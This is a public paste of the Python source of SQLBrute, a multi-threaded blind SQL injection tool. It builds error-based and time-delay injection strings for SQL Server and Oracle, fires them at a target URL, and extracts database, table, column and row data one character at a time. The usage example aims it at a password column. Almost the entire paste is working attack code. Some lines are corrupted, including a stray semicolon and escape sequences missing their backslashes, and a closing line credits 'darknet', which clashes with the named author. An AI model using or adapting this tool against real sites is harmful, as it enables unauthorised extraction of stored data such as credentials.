Public paste
uhu
By: FilEFUSiON | Date: Jul 25 2007 12:35 | Format: None | Expires: never | Size: 35.03 KB | Hits: 1485

  1. #!/bin/sh
  2. ''':'
  3. exec python -O -u "$0" ${1+"$@"}
  4. ' '''
  5.  
  6. # SQLBrute - multi threaded blind SQL injection bruteforcer
  7. # By Justin Clarke, justin at justinclarke dot com
  8. #
  9. # Algorithm originally from the original by Kerry Rollins
  10. #
  11. # This version does regex based (error/no error) bruteforcing and waitfor delay testing
  12. #
  13. # There is a page documenting how to use this tool at:
  14. # http://www.justinclarke.com/archives/2006/03/sqlbrute.html
  15. Version = "071906"
  16.  
  17. # todo
  18. # - tidy up the query assembly methods
  19. # - implement < and > matching
  20. # - rewrite connection methods to use pycurl and get more efficient connection handling
  21. # - implement database detection
  22. # - multiple columns?
  23.  
  24. import threading
  25. import Queue
  26. import sys
  27. import getopt
  28. import string
  29. import urllib
  30. import cgi
  31. import time
  32. import re
  33.  
  34. # Set some globals
  35.  
  36. # dictionary for tracking threads and pycurl handles
  37. handles = {}
  38. handleLock = threading.Lock()
  39. sslSupport = True
  40.  
  41. # use pycurl if installed
  42. try:
  43.     import pycurl2               # currently disabled
  44.     sendlayer = "pycurl"    
  45. except ImportError:
  46.     import urllib2
  47.     sendlayer = "urllib2"
  48.  
  49. # see if SSL support is compiled in for urllib2
  50. if sendlayer == "urllib2":
  51.     try:
  52.         import _ssl
  53.     except ImportError:
  54.         print "SSL support not installed - https will not be available"
  55.         sslSupport = False
  56.  
  57. # consume some signals for pycurl
  58. try:
  59.     import signal
  60.     from signal import SIGPIPE, SIG_IGN
  61.     signal.signal(signal.SIGPIPE, signal.SIG_IGN)
  62. except ImportError:
  63.     pass
  64.  
  65. #
  66. # class to manage the threading.  No actual stuff is done in here - we pass function names and args
  67. #
  68. # Adapted from Python in a Nutshell (excellent book)
  69. #
  70. class Worker(threading.Thread): # inherits the Thread class
  71.     requestID = 0   # each thread has a request ID so we can match responses
  72.     
  73.     # constructor - takes two queues as parameters (overrides threading constructor)
  74.     def __init__(self, requestsQueue, resultsQueue, threadNumber, **kwds):
  75.         threading.Thread.__init__(self, **kwds)
  76.         self.setDaemon(1)   # run in background
  77.         self.workRequestQueue = requestsQueue
  78.         self.resultQueue = resultsQueue
  79.         self.setName(threadNumber)
  80.         if sendlayer == "pycurl":
  81.             handleLock.acquire()   # don't want to update the dictionary simultaneously from multiple threads
  82.             handles[threadNumber] = pycurl.Curl()     # libcurl handle for this thread
  83.             handleLock.release()
  84.         self.start()        # start the thread
  85.  
  86.     # call the function here - pass in the function and parameters
  87.     def performWork(self, callable, *args, **kwds):
  88.         Worker.requestID += 1
  89.         self.workRequestQueue.put((Worker.requestID, callable, args, kwds))
  90.         return Worker.requestID
  91.  
  92.     def run(self):   # override run
  93.         while 1:
  94.             requestID, callable, args, kwds = self.workRequestQueue.get()
  95.             self.resultQueue.put((requestID, callable(*args+(int(self.getName()),), **kwds)))
  96.  
  97. class sqlbrute:
  98.     # User variables - change if you want
  99.     num = 10            # default number of worker threads
  100.     targeturl = ""
  101.     cookie = ""
  102.     verb = ""
  103.     verbose = 0
  104.     postdata = ""
  105.     table = ""
  106.     cols = ""
  107.     headers = [["User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"]]
  108.     wherecol = ""
  109.     whereval = ""
  110.     dbenum = False          # default to enumerating tables from current database
  111.     enumtype = ""           # by default, tables will be enumerated from current database
  112.     dbtype = "sqlserver"
  113.     errorregex = ""
  114.     targeturl = ""
  115.     timetrack = time.time()
  116.     timeout = 60             # timeout to wait for responses before exiting tool
  117.     database = ""           # database to use (instead of default)
  118.     andor = " OR "          # default to "or" mode.  either "or" or "and"
  119.                             # specifies this is going to be select * from foo where 1=2 _and_ <exploit string>
  120.  
  121.     method = "error"        # method of testing - error or time based
  122.  
  123.     outputfile = ""
  124.     
  125.     if sys.platform == "win32":     # timing is unreliable in python.org win32 version. I'd use linux for now
  126.         waitfor = 10
  127.     else:
  128.         waitfor = 7
  129.  
  130.     if sys.platform == "win32":
  131.         waitres = 5         # time.time() is hideously unreliable in windows
  132.     else:
  133.         waitres = 5
  134.  
  135.     tablesource = "sysobjects"    # name of source to initially query
  136.     namecol = "name"                # column used for the database name
  137.     substrfn = "SUBSTRING"      # substring for SQL, substr for oracle
  138.  
  139.     reqcounter = 0            # number of test requests received
  140.     testcounter = 0           # counter to track that requests have passed and failed appropriately
  141.     testvar = 0
  142.     
  143.     requestsQueue = Queue.Queue()
  144.     resultsQueue = Queue.Queue()
  145.  
  146.     # add any additional characters you need matched to this list
  147.     matches = ["e","t","a","o","i","n","s","r","h","l","d","u","c","f","m","w","y","g","p","b","v","k","x","j","q","z","0","1","2","3","4","5","6","7","8","9","-",".","[_]","+","#","@","$"]
  148.  
  149.     def usage(self):
  150.         print """
  151.  ___  _____  __    ____  ____  __  __  ____  ____
  152. / __)(  _  )(  )  (  _ (  _ (  )(  )(_  _)( ___)
  153. __  )(_)(  )(__  ) _ < )   / )(__)(   )(   )__)
  154. (___/(___/\\(____)(____/(_)_)(______) (__) (____)
  155. """
  156.         print "v.%s" % Version
  157.         print """
  158.     Usage: %s options url
  159.             [--help|-h]                        - this help
  160.             [--verbose|-v]                     - verbose mode
  161.             [--server|-d oracle|sqlserver]     - type of database server (default MS SQL Server)
  162.             [--error|-e regex]                 - regex to recognize error page (error testing only)
  163.             [--threads|-s number]              - number of threads (default 10)
  164.             [--cookie|-k string]               - cookies needed
  165.             [--time|-n]                        - force time delay (waitfor) testing
  166.             [--data|-p string]                 - POST data
  167.             [--database|-f database]           - database to enumerate data from (SQL Server)
  168.             [--table|-t table]                 - table to extract data from
  169.             [--column|-c column]               - column to extract data from
  170.             [--where|-w column=data]           - restrict data returned to rows where column "column" matches "data"
  171.             [--header|-x header::val]          - header to add to the request (i.e. Referer::http://foobar/blah.asp)
  172.             [--output|-o file]                 - file to send output to
  173.             [--psyco|-y]                       - enable psyco acceleration, if installed (real memory hog)
  174.             
  175. Note: exploit will go on the end of the query or post data.  This must be correctly formatted for a SQL subquery to be appended.
  176.         """ % sys.argv[0]
  177.  
  178.         print '''e.g. %s --data "searchtype=state&state=1'" --error "NO RESULTS" --database webapp --table customer --column custnum --where password=password http://eycu/locator.asp''' % sys.argv[0]
  179.  
  180.     # buyer beware if you change anything below - execution starts here
  181.     def main(self, argv=None):
  182.         if argv is None:
  183.             argv = sys.argv
  184.  
  185.         try:
  186.             try:
  187.                 opts, args = getopt.getopt(argv[1:], "hvs:k:f:np:x:d:t:c:w:e:o:y",  
  188. ["help","verbose","server=","header=","error=","threads=","cookie=","database=","time","data=","table=","column=","where=","output=","psyco"])
  189.                 if len(args) <> 1:  # 1 arg is the URL
  190.                     print "Args <> 1"
  191.                     raise getopt.error
  192.             except:
  193.                 raise getopt.error
  194.  
  195.             self.targeturl = args
  196.             if sslSupport == False and re.search(r'https://', self.targeturl):
  197.                 print "You don't seem to have SSL support installed, so no https URLs for you"
  198.                 return 1
  199.  
  200.             for o,a in opts:
  201.                 if o in ("-v", "--verbose"):
  202.                     self.verbose += 1
  203.                 if o in ("-x", "--header"):
  204.                     self.headers += [a.split("::",1)]
  205.                 if o in ("-k", "--cookie"):
  206.                     self.cookie = a
  207.                 if o in ("-h", "--help"):
  208.                     self.usage()
  209.                     return 1
  210.                 if o in ("-p", "--data"):
  211.                     self.postdata = a
  212.                     self.verb = "POST"
  213.                 if o in ("-n", "--time"):
  214.                     self.method = "time"
  215.                 if o in ("-s", "--threads"):
  216.                     self.num = int(a)
  217.                     if self.num < 1:
  218.                         print "Threads must be at least 1"
  219.                         return 1
  220.                 if o in ("-d", "--server"):
  221.                     if a == "oracle": self.dbtype = a
  222.                     if a == "sqlserver": self.dbtype = a
  223.                 if o in ("-t", "--table"):
  224.                     self.table = a
  225.                 if o in ("-c","--column"):
  226.                     self.cols = a
  227.                 if o in ("-w", "--where"):
  228.                     temp = a.split("=",1)
  229.                     self.wherecol = temp[0]
  230.                     self.whereval = temp[1]
  231.                 if o in ("-e", "--error"):
  232.                     self.errorregex = a
  233.                     self.method = "error"
  234.                 if o in ("-f", "--database"):
  235.                     self.database = a
  236.                 if o in ("-o", "--output"):
  237.                     self.outputfile = a
  238.                 if o in ("-y", "--psyco"):
  239.                     # try using psyco JIT if installed
  240.                     try:
  241.                         import psyco
  242.                         psyco.full()
  243.                     except ImportError:
  244.                         print "Psyco module not installed - install from http://psyco.sourceforge.net"
  245.                         pass
  246.  
  247.             if self.cols<>"":
  248.                 if self.table=="":
  249.                     print "If requesting column data, you must specify table"
  250.                     return 1
  251.  
  252.             if not self.errorregex:
  253.                 self.errorregex = r"(error|could not process)"
  254.  
  255.             if not self.verb:
  256.                 self.verb = "GET"
  257.  
  258.             if (self.verb == "POST" and not self.postdata):
  259.                 print "Specify some POST data"
  260.                 return 1
  261.             
  262.             if self.enumtype=="":
  263.                 if self.table=="" and self.cols=="":
  264.                     if self.dbtype == "sqlserver" and not self.database:
  265.                         self.enumtype="database"
  266.                     else:
  267.                         self.enumtype="table"
  268.                 else:
  269.                     if self.table<>"" and self.cols=="":
  270.                         self.enumtype="column"
  271.                     else:
  272.                         self.enumtype="data"
  273.  
  274.             if self.dbtype=="oracle":
  275.                 self.substrfn = "SUBSTR"
  276.                 self.tablesource = "USER_TABLES"
  277.                 self.namecol = "TABLE_NAME"
  278.  
  279.             if self.verbose:
  280.                 print "Database type: %s" % self.dbtype
  281.                 print "Table: %s" % self.table
  282.                 print "Columns: ", self.cols
  283.                 print "Enumeration mode: %s" % self.enumtype
  284.                 print "Threads: %d" % self.num
  285.  
  286.             if self.database and self.dbtype=="oracle":
  287.                 print "Database specification is not valid for Oracle"
  288.                 return 1
  289.  
  290.             if self.database != "":         # add .. for between database and table
  291.                 self.database += ".."
  292.  
  293.         except:
  294.             print "Incorrect options usage"
  295.             self.usage()
  296.             return 1
  297.  
  298.         # create worker classes to assign work to later
  299.         for i in range(self.num):
  300.             self.worker = Worker(self.requestsQueue, self.resultsQueue, i)
  301.  
  302.         # keep track of what we send off to the queues
  303.         self.workRequests = {}
  304. #        if sendlayer=="urllib2":
  305. #          print """
  306. #***pycurl not found***
  307. #Defaulting to Python urllib2
  308. #Consider installing pycurl from http://pycurl.sourceforge.net -- it's faster
  309. #"""
  310.             
  311.         if self.verbose:
  312.             print "Testing the application to ensure your options workn"
  313.  
  314.         if self.method == "error":
  315.             self.testvar = self.testexploiterror()
  316.         else:
  317.             self.testvar = self.testexploittime()
  318.  
  319.         if self.testvar==1:
  320.             print """
  321.     To troubleshoot:
  322.  
  323.     1) try using -v to see that the queries are correctly formatted
  324.     2) try using -vv to get the responses printed to the screen
  325.     3) fix your broken url/post data
  326.     4) check the error value you are using
  327.     5) you've specified the correct database type haven't you?"""
  328.             return(1)
  329.         
  330.         print "This program will currently exit " + str(self.timeout) + " seconds after the last response comes in."
  331.  
  332.         for i in self.matches:
  333.             if self.method == "error":
  334.                 self.gentesterror(i)
  335.             else:
  336.                 self.gentesttime(i)
  337.  
  338.         self.showResults()
  339.  
  340.     def postReformat(self, postdata):
  341.         return urllib.urlencode(cgi.parse_qsl(postdata))
  342.  
  343.     def querystringReformat(self, qsdata):
  344.         temp = qsdata.split("?")
  345.         if len(temp) == 2:
  346.             return temp[0] + "?" + urllib.urlencode(cgi.parse_qsl(temp[1]))
  347.         else:
  348.             return qsdata
  349.     
  350.     def doRequest(self, expressionString, exploitdata, match, type, threadName):
  351.         while True:
  352.             if sendlayer == "pycurl":
  353.                 handleLock.acquire()   # don't want to update the dictionary simultaneously from multiple threads
  354.                 thisHandle = handles[threadName]     # libcurl handle for this thread
  355.                 handleLock.release()
  356.                 resp = open(str(threadName), "wb")
  357.             
  358.             if self.verb == "GET":
  359.                 if sendlayer == "urllib2":
  360.                     req = urllib2.Request(self.querystringReformat(expressionString))
  361.                 else:
  362.                     thisHandle.setopt(pycurl.URL, self.querystringReformat(expressionString))
  363.             else:
  364.                 if sendlayer == "urllib2":
  365.                     req = urllib2.Request(self.querystringReformat(expressionString),
  366.                                           self.postReformat(exploitdata))
  367.                 else:
  368.                     thisHandle.setopt(pycurl.URL, expressionString)
  369.                     thisHandle.setopt(pycurl.POSTFIELDS, self.postReformat(exploitdata))
  370.                     
  371.             if self.cookie<>"":
  372.                 if sendlayer == "urllib2":
  373.                     req.add_header("Cookie",self.cookie)
  374.                 else:
  375.                     thisHandle.setopt(pycurl.HTTPHEADER, self.cookie)  # reformat cookie?
  376.             if self.headers<>[[]]:
  377.                 for i in self.headers:
  378.                     if sendlayer == "urllib2":
  379.                         req.add_header(i[0],i[1])
  380.                     else:
  381.                         thisHandle.setopt(pycurl.HTTPHEADER, i)  # reformat headers?
  382.             try:
  383.                 starttime = time.time()  # get time at start of request
  384.                 if sendlayer == "urllib2":                
  385.                     resp = urllib2.urlopen(req)
  386.                 else:
  387.                     thisHandle.setopt(pycurl.WRITEDATA, resp)
  388.                     thisHandle.setopt(pycurl.NOSIGNAL, 1)
  389.                     thisHandle.setopt(pycurl.CONNECTTIMEOUT, 30)
  390.                     thisHandle.setopt(pycurl.TIMEOUT, 300)
  391.                     thisHandle.perform()
  392.                     
  393.             except urllib2.HTTPError,err:  # catch an HTTP 500 error or similar here
  394.                 return err.read(), match, type, starttime, time.time()
  395.             except:
  396.                 import traceback
  397.                 traceback.print_exc(file=sys.stderr)
  398.                 sys.stderr.flush()
  399.                 
  400.                 print "Unexpected error on: %s %s - Retrying in 5 seconds" % (expressionString,exploitdata)
  401.                 time.sleep(5)
  402.             else:
  403.                 if sendlayer == "urllib2":
  404.                     return resp.read(), match, type, starttime, time.time()
  405.                 else:
  406.                     #temp = resp.read()
  407.                     #resp.close()
  408.                     return resp.read(), match, type, starttime, time.time()
  409.  
  410.     def testexploiterror(self):
  411.         if self.dbtype=="sqlserver":
  412.             positivestring = self.andor + "exists (select * from master..sysdatabases)--"
  413.             negativestring = self.andor + "not exists (select * from master..sysdatabases)--"
  414.  
  415.         if self.dbtype=="oracle":
  416.             positivestring = self.andor + "exists (select * from USER_TABLES)--"
  417.             negativestring = self.andor + "not exists (select * from USER_TABLES)--"
  418.  
  419.         self.genreq(positivestring, "", False)
  420.         self.genreq(negativestring, "", False)
  421.  
  422.         while self.reqcounter != 2:
  423.             try:
  424.                 id, results = self.resultsQueue.get_nowait()
  425.             except Queue.Empty:
  426.                 if (time.time() - self.timetrack) > self.timeout:    # if its been > (timeout) seconds since last successful resp
  427.                     print "Timed out accessing applicationn"
  428.                     return(1)
  429.                 else:
  430.                     continue
  431.  
  432.             self.timetrack = time.time()        # update record of last successful response
  433.             self.reqcounter += 1                # update number of requests received
  434.             
  435.             if self.verbose>1:
  436.                 print 'Result %d: -> %s' % (id, urllib.unquote(self.workRequests[id]))
  437.                 print 'Response: %s' % results[0]
  438.                 print 'Results: %s, %s' % (results[1], results[2])
  439.  
  440.             if not re.search(self.errorregex,results[0]) :       # no error returned
  441.                 self.testcounter += 1              # increment counter 1 if no error returned
  442.             ;    if self.verbose>1:
  443.                     print "No Error"
  444.             else:       # error returned
  445.                 self.testcounter += 2              # increment counter 2 is error returned
  446.                 if self.verbose>1:
  447.                     print "Error"
  448.  
  449.         if self.testcounter == 3:                  # one failed, one passed request (success!)
  450.             if self.verbose:
  451.                 print "Exploit and parameters appear to workn"
  452.                 return(0)
  453.         else:                       # failed :-(
  454.             if self.andor == " OR ":       # if we were using or, try changing to AND
  455.                 if self.verbose:
  456.                     print "OR doesn't appear to work - trying AND"
  457.                 self.andor = " AND "
  458.                 self.reqcounter = 0
  459.                 self.testcounter = 0
  460.                 return (self.testexploiterror())
  461.             else:
  462.                 print "User input exploit and parameters do not appear to work for error testing - trying time testingn"
  463.                 return(self.testexploittime())        
  464.  
  465.     def testexploittime(self):
  466.         teststring = "%3Bwaitfor delay '0:0:" + str(self.waitfor) + "'--"
  467.  
  468.         self.genreq(teststring, "", False)
  469.  
  470.         waiting = True
  471.         
  472.         while waiting:
  473.             try:
  474.                 id, results = self.resultsQueue.get_nowait()
  475.             except Queue.Empty:
  476.                 continue
  477.  
  478.             waiting = False
  479.             if self.verbose>1:
  480.                 print 'Result %d: -> %s' % (id, urllib.unquote(self.workRequests[id]))
  481.                 print 'Response: %s' % results[0]
  482.                 print 'Start time: %s' % results[3]
  483.                 print 'Finish time: %s' % results[4]
  484.         
  485.             if results[4]-results[3] > (self.waitfor-self.waitres):       # time testing worked
  486.                 self.method = "time"
  487.                 elapsed = results[4] - results[3]
  488.                 if elapsed > (self.waitfor * 2):  # slow app
  489.                     self.timeout *= (elapsed/self.waitfor)
  490.                 if self.verbose:
  491.                     print "Exploit and parameters appear to work for time testingn"
  492.                 return(0)
  493.             else:                       # failed :-(
  494.                 print "User input exploit and parameters do not appear to work for time testingn"
  495.                 return(1)
  496.             
  497.     # generate checks - these get multithreaded on the queue
  498.     def genreq(self, request, match, type):
  499.         if self.verb == "GET":  # standard GET request- exploit querystring
  500.             expressionString = self.targeturl[0] + request
  501.             exploitdata=""
  502.         elif (self.verb == "GET" and self.postdata): # post request, but exploit querystring
  503.             expressionString = self.targeturl[0] + request
  504.             exploitdata = self.postdata
  505.         else:
  506.             expressionString = self.targeturl[0] # standard post request, exploit post data
  507.             exploitdata = self.postdata + request
  508.  
  509.         id = self.worker.performWork(self.doRequest, expressionString, exploitdata, match, type)
  510.         if self.verb == "GET":
  511.             self.workRequests[id] = expressionString
  512.         else:
  513.             self.workRequests[id] = exploitdata
  514.  
  515.     # handle underscores
  516.     def unquote(self, s):
  517.         return re.sub(r'[_]','_',s)
  518.  
  519.     # generate the testing string as a series of CHAR()+CHAR or CONCAT(CHR(),CHR()) strings
  520.     def genchars(self, s):
  521.         t = self.unquote(s)
  522.         foo = len(t)
  523.  
  524.         if self.dbtype=="oracle":          # use concat statements for oracle
  525.             if foo==1:       # one character - no concat
  526.                 bar = "CHR("+str(ord(t[0].upper()))+")"
  527.             else:          # generate one concat statement
  528.                 if foo==2:
  529.                     bar = "CONCAT(CHR("+str(ord(t[0].upper()))+"),CHR("+str(ord(t[1].upper()))+"))"
  530.                 else:       # generate mutiple statements
  531.                     bar = ""
  532.                     for i in range((foo-1)):
  533.                         bar += "CONCAT(CHR("+str(ord(t[i].upper()))+"),"
  534.                     bar += "CHR("+str(ord(t[foo-1].upper()))+")"
  535.                     for i in range(foo-1):
  536.                         bar += ")"
  537.         else:           # sql server, so use + signs for concatentation
  538.             if foo==1:       # one char
  539.                 bar = "CHAR("+str(ord(t[0].upper()))+")"
  540.             else:          # generate CHAR()+CHAR() statements
  541.                 bar = ""
  542.                 for i in range((foo-1)):
  543.                     bar += "CHAR("+str(ord(t[i].upper()))+")%2B"
  544.                 bar += "CHAR("+str(ord(t[foo-1].upper()))+")"
  545.         return bar
  546.  
  547.     # generate the guess cases - error
  548.     def gentesterror(self, s):
  549.         foo = ""
  550.         if self.dbtype == "sqlserver":
  551.             foo = "xtype='u' and "
  552.  
  553.        # SQL injection constructors - these assume we can just add these onto the end of the URL or post data
  554.  
  555.         if self.enumtype=="database":       # sql server only
  556.             pretable = self.andor + "exists (select * from master..sysdatabases where " + self.substrfn + "(UPPER(" + self.namecol + "),1,"
  557.             midtable = ")="
  558.             posttable = ")--"
  559.  
  560.         if self.enumtype=="table":
  561.             pretable = self.andor + "exists (select * from " + self.database + self.tablesource + " where " + foo + self.substrfn + "(UPPER(" + self.namecol + "),1,"
  562.             midtable = ")="
  563.             posttable = ")--"
  564.  
  565.         if self.enumtype=="column":
  566.             if self.dbtype=="sqlserver":
  567.                 pretable = self.andor + "exists (select * from " + self.database + "syscolumns where id = object_id('" + self.database + self.table + "') and " + self.substrfn + "(UPPER(" + self.namecol + "),1,"
  568.                 midtable = ")="
  569.                 posttable = ")--"
  570.             else:
  571.                 pretable = self.andor + "exists (select * from ALL_TAB_COLUMNS where TABLE_NAME=UPPER('" + self.table + "') and " + self.substrfn + "(UPPER(COLUMN_NAME),1,"
  572.                 midtable = ")="
  573.                 posttable = ")--"
  574.  
  575.         if self.enumtype=="data":
  576.             if self.dbtype=="sqlserver":
  577.                 if self.wherecol == "":         # no where clause supplied
  578.                     pretable = self.andor + "exists (select * from " + self.database + self.table + " where " + self.substrfn + "(UPPER(convert(varchar," + self.cols + ",2)),1,"
  579.                 else:       # where clause supplied
  580.                     pretable = self.andor + "exists (select * from " + self.database + self.table + " where " + self.wherecol + "='" + self.whereval + "' and " + self.substrfn + "(UPPER(convert(varchar," + self.cols + ",2)),1,"
  581.                 midtable = ")="
  582.                 posttable = ")--"
  583.             else:           # oracle
  584.                 if self.wherecol == "":         # no where clause supplied
  585.                     pretable = self.andor + "exists (select * from " + self.table + " where " + self.substrfn + "(UPPER(TO_CHAR(" + self.cols + ")),1,"
  586.                 else:       # where clause supplied
  587.                     pretable = self.andor + "exists (select * from " + self.table + " where " + self.wherecol + "='" + self.whereval + "' and " + self.substrfn + "(UPPER(TO_CHAR(" + self.cols + ")),1,"
  588.                 midtable = ")="
  589.                 posttable = ")--"
  590.  
  591.         teststring = self.genchars(s)
  592.  
  593.         self.genreq(pretable + str(len(self.unquote(s))) + midtable + teststring + posttable, s, True)
  594.  
  595.     # generate test cases - time
  596.     def gentesttime(self, s):
  597.         prewaitforlike = "%3Bif EXISTS (select name from master..sysdatabases where name like '"
  598.         postwaitfor = "%') waitfor delay '0:0:" + str(self.waitfor) + "'--"
  599.  
  600.         predblike = "%3Bif EXISTS (select name from " + self.database + "sysobjects where xtype = 'u' and name like '"
  601.  
  602.         pretablike = "%3Bif EXISTS (select name from " + self.database + "syscolumns where id in (select id from " + self.database + "sysobjects where name = '" + self.table + "') and name like '"
  603.  
  604.         if self.whereval=="":    # enumerating values in a specific column
  605.             predatalike = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.cols + ",2) like '"
  606.         else:        
  607.             prejoinlike = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.wherecol + ",2) = '" + self.whereval + "' AND CONVERT(varchar," + self.cols + ",2) like '"
  608.  
  609.         if self.enumtype=="database":
  610.             self.genreq(prewaitforlike + s + postwaitfor, s, True)
  611.         if self.enumtype=="table":
  612.             self.genreq(predblike + s + postwaitfor, s, True)
  613.         if self.enumtype=="column":
  614.             self.genreq(pretablike + s + postwaitfor, s, True)
  615.         if self.enumtype=="data":
  616.             if self.whereval=="":
  617.                 self.genreq(predatalike + s + postwaitfor,s,True)
  618.             else:
  619.                 self.genreq(prejoinlike + s + postwaitfor,s,True)
  620.  
  621.     def checkmatchtime(self, s):
  622.         prewaitforequals = "%3Bif EXISTS (select name from master..sysdatabases where name = '"
  623.         postwaitforequals = "') waitfor delay '0:0:" + str(self.waitfor) + "'--"
  624.  
  625.         predbequals = "%3Bif EXISTS (select name from " + self.database + "sysobjects where xtype = 'u' and name = '"
  626.  
  627.         pretabequals =  "%3Bif EXISTS (select name from " + self.database + "syscolumns where id in (select id from " + self.database + "sysobjects where name = '" + self.table + "') and name = '"
  628.  
  629.         if self.whereval=="":    # enumerating values in a specific column
  630.             predataequals = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.cols + ",2) = '"
  631.         else:
  632.             prejoinequals = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.wherecol + ",2) = '" + self.whereval + "' AND CONVERT(varchar, " + self.cols + ",2) = '"
  633.  
  634.         if self.enumtype=="database":
  635.             self.genreq(prewaitforequals + self.unquote(s) + postwaitforequals, s, False)
  636.         if self.enumtype=="table":
  637.             self.genreq(predbequals + self.unquote(s) + postwaitforequals, s, False)
  638.         if self.enumtype=="column":
  639.             self.genreq(pretabequals + self.unquote(s) + postwaitforequals, s, False)
  640.         if self.enumtype=="data":
  641.             if self.whereval=="":
  642.                 self.genreq(predataequals + self.unquote(s) + postwaitforequals, s, False)
  643.             else:
  644.                 self.genreq(prejoinequals + self.unquote(s) + postwaitforequals, s, False)
  645.  
  646.     # generate check for whether we have an exact match (error testing)
  647.     def checkmatcherror(self, s):
  648.         foo = ""
  649.         if self.dbtype == "sqlserver":
  650.             foo = "xtype='u' and "
  651.  
  652.         # SQL injection constructors - these assume we can just add these onto the end of the URL or post data
  653.         if self.enumtype=="database":       # only valid for sql server
  654.             pretable = self.andor + "exists (select * from master..sysdatabases where UPPER(" + self.namecol + ")="
  655.             posttable = ")--"
  656.  
  657.         if self.enumtype=="table":
  658.             pretable = self.andor + "exists (select * from " + self.database + self.tablesource + " where UPPER(" + self.namecol +")="
  659.             posttable = " )--"
  660.  
  661.         if self.enumtype=="column":
  662.             if self.dbtype=="sqlserver":
  663.                 pretable = self.andor + "exists (select * from " + self.database + "syscolumns where id = object_id(" + self.genchars(self.database + self.table) + ") and UPPER(" + self.namecol + ")="
  664.                 posttable = ")--"
  665.             else:
  666.                 pretable = self.andor + "exists (select * from ALL_TAB_COLUMNS where TABLE_NAME=UPPER(" + self.genchars(self.table) + ") and UPPER(COLUMN_NAME)="
  667.                 posttable = ")--"
  668.  
  669.         if self.enumtype=="data":
  670.             if self.dbtype=="sqlserver":
  671.                 if self.wherecol == "":         # no where clause supplied
  672.                     pretable = self.andor + "exists (select * from " + self.database + self.table + " where UPPER(convert(varchar," + self.cols + ",2))="
  673.                 else:       # where clause supplied
  674.                     pretable = self.andor + "exists (select * from " + self.database + self.table + " where " + self.wherecol + "=" + self.genchars(self.whereval) + " and UPPER(convert(varchar," + self.cols + ",2))="
  675.                 posttable = ")--"
  676.             else:   # oracle
  677.                 if self.wherecol == "":         # no where clause supplied
  678.                     pretable = self.andor + "exists (select * from " + self.table + " where UPPER(TO_CHAR(" + self.cols + "))="
  679.                 else:       # where clause supplied
  680.                     pretable = self.andor + "exists (select * from " + self.table + " where " + self.wherecol + "=" + self.genchars(self.whereval) + " and UPPER(TO_CHAR(" + self.cols + "))="
  681.                 midtable = ")="
  682.                 posttable = ")--"
  683.  
  684.         teststring = self.genchars(s)
  685.  
  686.         self.genreq(pretable + teststring + posttable, s, False)
  687.  
  688.     # used to check results and exact checks
  689.     def showResults(self):
  690.         self.timetrack = time.time()
  691.         while True:
  692.             try:
  693.                 id, results = self.resultsQueue.get_nowait()
  694.             except Queue.Empty:
  695.                 if (time.time() - self.timetrack) > self.timeout:    # if its been > (timeout) seconds since last successful resp
  696.                     break
  697.                 else:
  698.                     continue
  699.  
  700.             self.timetrack = time.time()        # update record of last successful response
  701.  
  702.             if self.verbose>1:
  703.                 print 'Result %d: -> %s' % (id, urllib.unquote(self.workRequests[id]))
  704.                 print 'Results: %s, %s' % (results[1], results[2])
  705.                 print 'Start time: %s' % results[3]
  706.                 print 'Finish time: %s' % results[4]
  707.  
  708.             if self.verbose>2:
  709.                 print 'Response: %s' % results[0]
  710.                                 
  711.             if self.method == "error":    # if using error testing
  712.                 if not re.search(self.errorregex,results[0]) :       # no error returned
  713.                     if self.verbose > 1:
  714.                         print 'No error'
  715.                     if results[2]:                       # if a guess match test
  716.                         if self.verbose:
  717.                             print "%s" % self.unquote(results[1])
  718.                         self.checkmatcherror(results[1])
  719.                     else:
  720.                         print "Found: %s" % self.unquote(results[1])
  721.                         for i in self.matches:
  722.                             self.gentesterror(results[1]+i)
  723.                         if self.outputfile != "":
  724.                             outputhandle = file(self.outputfile, 'a', 0)
  725.                             outputhandle.write(self.unquote(results[1])+"rn")
  726.                             outputhandle.close()
  727.                 else:       # no match
  728.                     if self.verbose > 1:
  729.                         print 'Error detected'
  730.  
  731.                     if not results[2]:                   # if was an exact match test (and failed) generate more
  732.                         for i in self.matches:
  733.                             self.gentesterror(results[1]+i)
  734.             else:   # if time based testing
  735.                 if results[4]-results[3] > (self.waitfor-self.waitres):       # we had a match
  736.                     if results[2]:         # guess match test
  737.                         if self.verbose:
  738.                             print "%s" % self.unquote(results[1])
  739.                         self.checkmatchtime(results[1])
  740.                     else:    # exact match test
  741.                         print "Found: %s" % self.unquote(results[1])
  742.                         for i in self.matches:
  743.                             self.gentesttime(results[1]+i)
  744.                         if self.outputfile != "":
  745.                             outputhandle = file(self.outputfile, 'a', 0)
  746.                             outputhandle.write(self.unquote(results[1])+"rn")
  747.                             outputhandle.close()
  748.                 else:       # no match
  749.                     if not results[2]:  # if it was an exact match condition (and failed) - iterate further
  750.                         for i in self.matches:
  751.                             self.gentesttime(results[1]+i)
  752.  
  753.  
  754. # main called here
  755.  
  756. if __name__ == "__main__":
  757.     instance = sqlbrute()
  758.     sys.exit(instance.main())[/code]
  759.  
  760. Maked by darknet.
  761.  
  762. Voor de eikels die niks kunnen zien dit is python